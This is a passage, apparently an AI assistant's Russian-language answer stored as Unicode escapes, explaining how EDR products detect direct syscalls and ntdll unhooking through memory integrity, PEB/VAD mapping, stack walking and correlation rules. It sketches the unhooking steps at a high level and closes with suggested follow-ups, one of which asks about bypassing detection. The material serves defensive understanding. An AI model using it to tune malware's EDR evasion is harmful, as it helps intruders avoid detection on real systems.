\u0432\u0438\u0434\u0435\u0442\u044c \u044d\u0442\u043e \u0447\u0435\u0440\u0435\u0437:\n\nuser-mode hook \u043d\u0430 NtWriteVirtualMemory / memcpy-\u043f\u0430\u0442\u0442\u0435\u0440\u043d\u044b \u0441\u043b\u043e\u0436\u043d\u0435\u0435, \u043d\u043e \u043a\u043e\u0441\u0432\u0435\u043d\u043d\u043e;\nkernel telemetry \u043f\u043e \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e VAD/protection;\nmemory integrity scanner;\nperiodic comparison .text \u0441\u0435\u043a\u0446\u0438\u0438 \u0441 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u043c;\npage fault / dirty page observation \u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f\u0445;\nself-protection \u0432\u043d\u0443\u0442\u0440\u0438 EDR DLL/\u0430\u0433\u0435\u043d\u0442\u0430.\n\u0410\u043d\u043e\u043c\u0430\u043b\u0438\u044f:\n\nbytes in loaded ntdll.dll .text changed\nand changes revert known EDR trampoline pattern\nor differ from expected hooked state\n\u0412\u0430\u0436\u043d\u043e: \u0434\u043b\u044f EDR \u00ab\u0447\u0438\u0441\u0442\u0430\u044f ntdll\u00bb \u0432\u043d\u0443\u0442\u0440\u0438 \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0445\u043e\u0440\u043e\u0448\u043e. \u0415\u0441\u043b\u0438 \u0430\u0433\u0435\u043d\u0442 \u043e\u0436\u0438\u0434\u0430\u0435\u0442 \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0441\u0432\u043e\u0438 trampoline-\u043f\u0430\u0442\u0447\u0438, \u0430 \u043e\u043d\u0438 \u0438\u0441\u0447\u0435\u0437\u043b\u0438 \u2014 \u044d\u0442\u043e \u0442\u043e\u0436\u0435 \u0441\u0438\u0433\u043d\u0430\u043b \u0432\u043c\u0435\u0448\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430.\n\nC. \u0414\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u0443 ntdll.dll \u043d\u0430 \u0434\u0438\u0441\u043a\u0435\n\u041a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0439 unhooking \u0447\u0430\u0441\u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0447\u0438\u0441\u0442\u0443\u044e \u043a\u043e\u043f\u0438\u044e \u0438\u0437:\n\nC:\\Windows\\System32\\ntdll.dll\n\u0438\u043b\u0438 \u0447\u0435\u0440\u0435\u0437 KnownDlls/section mapping.\n\n\u0422\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0447\u0435\u0441\u043a\u0438 \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0442\u0430\u043a:\n\nCreateFile / NtOpenFile \u2192 \\SystemRoot\\System32\\ntdll.dll\nCreateSection / NtCreateSection\nMapViewOfSection / NtMapViewOfSection\nReadFile / NtReadFile\n\u0421\u0430\u043c\u043e \u0447\u0442\u0435\u043d\u0438\u0435 ntdll.dll \u043d\u0435 \u0432\u0441\u0435\u0433\u0434\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e. \u041d\u043e \u043e\u043d\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435:\n\nprocess reads/maps clean ntdll.dll\nthen changes protection of loaded ntdll .text\nthen writes into loaded ntdll .text\nthen performs sensitive syscalls\n\u0422\u043e \u0435\u0441\u0442\u044c \u043e\u043f\u044f\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u043e\u0440\u0440\u0435\u043b\u044f\u0446\u0438\u044f \u0441\u043e\u0431\u044b\u0442\u0438\u0439.\n\nD. \u041f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0435 \u043c\u0430\u043f\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 ntdll.dll\n\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043c\u0430\u043f\u043f\u0438\u0442 \u0432\u0442\u043e\u0440\u0443\u044e \u043a\u043e\u043f\u0438\u044e ntdll.dll, \u0437\u0430\u0449\u0438\u0442\u0430 \u043c\u043e\u0436\u0435\u0442 \u0443\u0432\u0438\u0434\u0435\u0442\u044c:\n\nsame image mapped twice\none mapping is normal loader mapping\nanother mapping appears as data/section mapping\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438:\n\n\u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0435\u0441\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0435\u0433\u0438\u043e\u043d\u043e\u0432, backed by ntdll.dll;\n\u043e\u0434\u0438\u043d \u0440\u0435\u0433\u0438\u043e\u043d \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u044b\u0439 loaded module \u0432 PEB loader list;\n.text \u043e\u0434\u043d\u043e\u0439 \u043a\u043e\u043f\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0431\u0430\u0439\u0442\u043e\u0432;\n\u043f\u043e\u0441\u043b\u0435 \u043c\u0430\u043f\u043f\u0438\u043d\u0433\u0430 \u0438\u0434\u0451\u0442 \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u0443\u044e .text;\n\u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0432\u044b\u0437\u043e\u0432\u044b \u0438\u0437 \u043d\u0435\u0442\u0438\u043f\u0438\u0447\u043d\u043e\u0439 \u043a\u043e\u043f\u0438\u0438 ntdll.\n\u042d\u0442\u043e \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u043d\u043e, \u043a\u043e\u0433\u0434\u0430 EDR \u0441\u0442\u0440\u043e\u0438\u0442 \u043a\u0430\u0440\u0442\u0443 \u043f\u0430\u043c\u044f\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430:\n\nLoaded modules from PEB\n+\nVAD tree\n+\nbacking file path\n+\nprotection flags\n+\nexecution history\n\u0415\u0441\u043b\u0438 \u0432 VAD \u0435\u0441\u0442\u044c image/file-backed mapping ntdll.dll, \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043d\u0435\u0442 \u043a\u0430\u043a \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043c\u043e\u0434\u0443\u043b\u044f, \u044d\u0442\u043e \u0443\u0436\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442.\n\n5. Stack Walking \u043f\u0440\u0438 Unhooking\nUnhooking \u0441\u0430\u043c \u043f\u043e \u0441\u0435\u0431\u0435 \u2014 \u044d\u0442\u043e \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438. \u041d\u043e \u043f\u043e\u0441\u043b\u0435 \u043d\u0435\u0433\u043e EDR \u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u043d\u0430 \u0442\u043e, \u043a\u0430\u043a \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f execution path.\n\n\u0414\u043e unhooking:\n\napp \u2192 ntdll hook \u2192 EDR DLL \u2192 trampoline \u2192 syscall\n\u041f\u043e\u0441\u043b\u0435 unhooking:\n\napp \u2192 clean ntdll stub \u2192 syscall\n\u0414\u043b\u044f EDR \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435:\n\nsensitive syscall happens\nbut expected EDR hook frame no longer appears\n\u0412 \u0441\u0442\u0435\u043a-\u0442\u0440\u0435\u0439\u0441\u0435 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u0447\u0435\u0437\u043d\u0443\u0442\u044c \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0439 frame \u0438\u0437 EDR-\u043c\u043e\u0434\u0443\u043b\u044f. \u041f\u043b\u044e\u0441, \u0435\u0441\u043b\u0438 unhooking \u0431\u044b\u043b \u0441\u0434\u0435\u043b\u0430\u043d \u043d\u0435 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e, \u0441\u0442\u0435\u043a/\u0430\u0434\u0440\u0435\u0441\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c:\n\n\u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b \u0432 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u043a\u043e\u043f\u0438\u044e ntdll;\n\u0432\u043e\u0437\u0432\u0440\u0430\u0442\u044b \u0438\u0437 MEM_MAPPED \u0440\u0435\u0433\u0438\u043e\u043d\u0430, backed by ntdll.dll, \u043d\u043e \u043d\u0435 loader-managed;\n\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0438\u0437 \u0443\u0447\u0430\u0441\u0442\u043a\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 ntdll \u0432 PEB;\n\u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0445 inline hook transitions.\n\u0414\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u044d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a:\n\nmodule integrity changed\n+\nAPI telemetry dropped\n+\nkernel events continue\n+\ncall chain changed\n\u042d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u0441\u0438\u043b\u044c\u043d\u0430\u044f \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0447\u0435\u0441\u043a\u0430\u044f \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f.\n\n6. \u0427\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e EDR \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u0442\nA. In-memory ntdll \u043f\u0440\u043e\u0442\u0438\u0432 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0433\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f\nEDR \u043c\u043e\u0436\u0435\u0442 \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0442\u044c:\n\nloaded ntdll .text bytes\nvs\nexpected hooked bytes\nvs\nclean image bytes\nvs\nknown-good baseline for OS build\n\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b \u043e\u0431\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f:\n\nunexpected hook inserted by malware\nexpected EDR hook removed by malware\n\u0422\u043e \u0435\u0441\u0442\u044c \u00ab\u0447\u0438\u0441\u0442\u0430\u044f\u00bb \u0441\u0435\u043a\u0446\u0438\u044f \u043d\u0435 \u0432\u0441\u0435\u0433\u0434\u0430 \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u00ab\u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u0430\u044f\u00bb. \u0415\u0441\u043b\u0438 EDR \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b \u0445\u0443\u043a\u0438, \u0430 \u043f\u043e\u0442\u043e\u043c \u043e\u043d\u0438 \u0438\u0441\u0447\u0435\u0437\u043b\u0438 \u2014 \u044d\u0442\u043e \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0430\u0433\u0435\u043d\u0442\u0430.\n\nB. PEB loader list \u043f\u0440\u043e\u0442\u0438\u0432 VAD\nPEB \u0433\u043e\u0432\u043e\u0440\u0438\u0442, \u043a\u0430\u043a\u0438\u0435 \u043c\u043e\u0434\u0443\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c\u0438:\n\nPEB_LDR_DATA \u2192 InLoadOrderModuleList\nVAD \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0440\u0435\u0430\u043b\u044c\u043d\u0443\u044e \u043a\u0430\u0440\u0442\u0443 \u043f\u0430\u043c\u044f\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430.\n\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u0435\u0441\u043b\u0438:\n\nVAD contains executable image-backed ntdll-like region\nbut PEB loader list does not contain corresponding module\n\u0418\u043b\u0438:\n\nexecution address belongs to VAD region\nbut not to known module\n\u042d\u0442\u043e \u043b\u043e\u0432\u0438\u0442 manual mapping, shadow mapping \u0438 \u043d\u0435\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435 \u043a\u043e\u043f\u0438\u0438 DLL.\n\nC. Module path / signature / section type\n\u0414\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e executable address EDR \u043c\u043e\u0436\u0435\u0442 \u0440\u0435\u0437\u043e\u043b\u0432\u0438\u0442\u044c:\n\naddress \u2192 VAD \u2192 memory type \u2192 backing file \u2192 PE headers \u2192 signature \u2192 module metadata\n\u041d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e:\n\nntdll address:\n  MEM_IMAGE\n  signed Microsoft\n  loader-registered\n  expected base/range\n  .text RX\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e:\n\nsyscall stub:\n  MEM_PRIVATE or unusual MEM_MAPPED\n  no loader metadata\n  no valid PE/unwind info\n  no normal import/load history\n7. \u041a\u043e\u0440\u0440\u0435\u043b\u044f\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c: \u043a\u0430\u043a \u044d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0432 EDR\n\u0423\u043f\u0440\u043e\u0449\u0451\u043d\u043d\u043e, \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 EDR \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0438\u043b\u043e/\u043c\u043e\u0434\u0435\u043b\u044c \u0442\u0430\u043a\u043e\u0433\u043e \u0432\u0438\u0434\u0430:\n\nIF\n  process performs sensitive kernel operation\nAND\n  call stack does not contain expected ntdll syscall frame\nOR\n  syscall origin is outside canonical ntdll .text\nOR\n  return address belongs to MEM_PRIVATE executable memory\nOR\n  user-mode hook telemetry missing for operation\nTHEN\n  mark as syscall bypass suspicion\n\u0414\u043b\u044f unhooking:\n\nIF\n  process maps/reads clean ntdll.dll\nAND\n  modifies protection of loaded ntdll .text to writable\nAND\n  writes to ntdll .text\nAND\n  subsequent sensitive operations lose EDR hook visibility\nTHEN\n  mark as unhooking / tamper suspicion\n\u041d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u044d\u0442\u043e \u043d\u0435 \u043e\u0434\u0438\u043d if, \u0430 scoring:\n\n+ low-prevalence process\n+ suspicious parent-child lineage\n+ unsigned module involved\n+ RWX or RX private memory\n+ remote process access\n+ thread start address outside image\n+ ntdll .text modified\n+ stack missing canonical frames\n+ mismatch between ETW/kernel/user-mode telemetry\n8. \u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043d\u0435 \u0432\u0441\u0435\u0433\u0434\u0430 \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u043e\n\u0415\u0441\u0442\u044c \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0448\u0443\u043c\u0430:\n\nJIT-\u0434\u0432\u0438\u0436\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442 \u043a\u043e\u0434 \u0438\u0437 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438;\n\u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b, DRM \u0438 \u043f\u0440\u043e\u0444\u0438\u043b\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u0438 \u0442\u043e\u0436\u0435 \u043f\u0430\u0442\u0447\u0430\u0442/\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u0443\u044e\u0442 user-mode;\n\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u044b \u0438\u043c\u0435\u044e\u0442 \u0441\u043b\u043e\u0436\u043d\u044b\u0435 sandbox-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0438 \u043d\u0435\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435 \u0430\u043b\u043b\u043e\u043a\u0430\u0442\u043e\u0440\u044b;\nAV/EDR \u0440\u0430\u0437\u043d\u044b\u0445 \u0432\u0435\u043d\u0434\u043e\u0440\u043e\u0432 \u043c\u043e\u0433\u0443\u0442 \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442\u043e\u0432\u0430\u0442\u044c \u043c\u0435\u0436\u0434\u0443 \u0441\u043e\u0431\u043e\u0439;\n\u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u044b\u0435 native API paths.\n\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u0440\u0435\u043b\u044b\u0439 EDR \u043d\u0435 \u0431\u0430\u043d\u0438\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0430 \u043e\u0434\u0438\u043d \u043f\u0440\u0438\u0437\u043d\u0430\u043a. \u041e\u043d \u0438\u0449\u0435\u0442 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e.\n\n9. \u0424\u0438\u043d\u0430\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u0430\u044f \u0432\u044b\u0436\u0438\u043c\u043a\u0430\nDirect Syscalls \u043f\u0430\u043b\u044f\u0442\u0441\u044f \u043d\u0435 \u043f\u043e\u0442\u043e\u043c\u0443, \u0447\u0442\u043e syscall \u201c\u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d\u201d\n\u0421\u0430\u043c syscall \u2014 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c Windows. \u0410\u043d\u043e\u043c\u0430\u043b\u0438\u044f \u0432 \u0434\u0440\u0443\u0433\u043e\u043c:\n\nkernel event \u0435\u0441\u0442\u044c,\n\u0430 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e user-mode \u043f\u0443\u0442\u0438 \u043a \u043d\u0435\u043c\u0443 \u043d\u0435\u0442.\n\u0418\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e \u043b\u043e\u043c\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c:\n\napplication \u2192 kernelbase \u2192 ntdll \u2192 syscall\nEDR \u0438\u0449\u0435\u0442:\n\n\u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0433\u043e ntdll frame;\nsyscall origin \u0432\u043d\u0435 canonical ntdll .text;\nreturn address \u0432 MEM_PRIVATE RX/RWX;\n\u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 unwind metadata;\n\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0438\u0437 manually mapped \u0438\u043b\u0438 unbacked \u0440\u0435\u0433\u0438\u043e\u043d\u0430;\n\u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 user-mode hook telemetry \u0438 kernel telemetry;\n\u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0431\u0435\u0437 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 API-\u0441\u043e\u0431\u044b\u0442\u0438\u0439.\nUnhooking \u043f\u0430\u043b\u0438\u0442\u0441\u044f \u043a\u0430\u043a tamper-\u0446\u0435\u043f\u043e\u0447\u043a\u0430\n\u0421\u0430\u043c \u0444\u0430\u043a\u0442 \u00ab\u0447\u0438\u0441\u0442\u043e\u0439 ntdll\u00bb \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0435\u0432\u0438\u0434\u0435\u043d \u0438 \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u0435\u043d \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430.\n\nEDR \u0438\u0449\u0435\u0442:\n\n\u0434\u043e\u0441\u0442\u0443\u043f \u043a ntdll.dll \u043d\u0430 \u0434\u0438\u0441\u043a\u0435 \u0438\u043b\u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u044b\u0439 mapping;\n\u0432\u0442\u043e\u0440\u0443\u044e/\u043d\u0435\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0443\u044e \u043a\u043e\u043f\u0438\u044e ntdll \u0432 VAD;\n\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 protection \u0443 ntdll .text;\n\u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u043a\u043e\u0434\u043e\u0432\u0443\u044e \u0441\u0435\u043a\u0446\u0438\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 DLL;\n\u0438\u0441\u0447\u0435\u0437\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0445 EDR trampoline bytes;\n\u043f\u0430\u0434\u0435\u043d\u0438\u0435 user-mode \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438 \u043f\u043e\u0441\u043b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f;\n\u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 sensitive syscalls \u0441 \u0438\u0437\u043c\u0435\u043d\u0451\u043d\u043d\u043e\u0439 call-chain \u0442\u043e\u043f\u043e\u043b\u043e\u0433\u0438\u0435\u0439.\n\u0413\u043b\u0430\u0432\u043d\u0430\u044f \u0438\u0434\u0435\u044f\nEDR \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u043d \u00ab\u0432\u0438\u0434\u0435\u0442\u044c \u0432\u0441\u0451\u00bb \u0432 \u043e\u0434\u043d\u043e\u043c \u0441\u043b\u043e\u0435. \u0415\u0433\u043e \u0441\u0438\u043b\u0430 \u2014 \u0432 \u043a\u043e\u0440\u0440\u0435\u043b\u044f\u0446\u0438\u0438:\n\nUser-mode hooks\n+ ETW\n+ kernel callbacks\n+ memory map/VAD\n+ module integrity\n+ stack walking\n+ behavioral graph\n\u041e\u0431\u0445\u043e\u0434 \u043e\u0434\u043d\u043e\u0433\u043e \u0441\u043b\u043e\u044f \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0430\u043d\u043e\u043c\u0430\u043b\u0438\u044e \u0432 \u0434\u0440\u0443\u0433\u043e\u043c. Direct Syscalls \u0443\u0431\u0438\u0440\u0430\u044e\u0442 user-mode hook telemetry, \u043d\u043e \u043f\u043e\u0440\u0442\u044f\u0442 \u0441\u0442\u0435\u043a \u0438 syscall origin. Unhooking \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0431\u0430\u0439\u0442\u044b ntdll, \u043d\u043e \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043b\u0435\u0434\u044b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f protection, \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 .text, \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0433\u043e \u043c\u0430\u043f\u043f\u0438\u043d\u0433\u0430 \u0438 \u043f\u0430\u0434\u0435\u043d\u0438\u044f \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0439 \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438.\n\n\u0418\u043c\u0435\u043d\u043d\u043e \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u0434\u0435\u0442\u0435\u043a\u0442 \u2014 \u044d\u0442\u043e \u043d\u0435 \u00ab\u043d\u0430\u0448\u0451\u043b JMP \u0432 ntdll\u00bb \u0438 \u043d\u0435 \u00ab\u043d\u0430\u0448\u0451\u043b syscall \u0432 \u043f\u0430\u043c\u044f\u0442\u0438\u00bb, \u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0432\u0441\u0435\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043d\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043e\u0442 user-mode \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u0434\u043e kernel-mode \u0444\u0430\u043a\u0442\u0430.\n\n\n\n\n\n\u041a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e EDR \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c PEB \u0438 VAD?\n\n\n\u041c\u043e\u0436\u043d\u043e \u043b\u0438 \u043e\u0431\u043e\u0439\u0442\u0438 \u0434\u0435\u0442\u0435\u043a\u0442 \u0447\u0435\u0440\u0435\u0437 JIT-\u043a\u043e\u0434 \u0438\u043b\u0438 \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b?\n\n\n\u041a\u0430\u043a\u0438\u0435 \u0435\u0449\u0435 \u0430\u043d\u043e\u043c\u0430\u043b\u0438\u0438 \u0432 \u0441\u0442\u0435\u043a\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u043c bypass?\n\n\n\u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0430 \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435 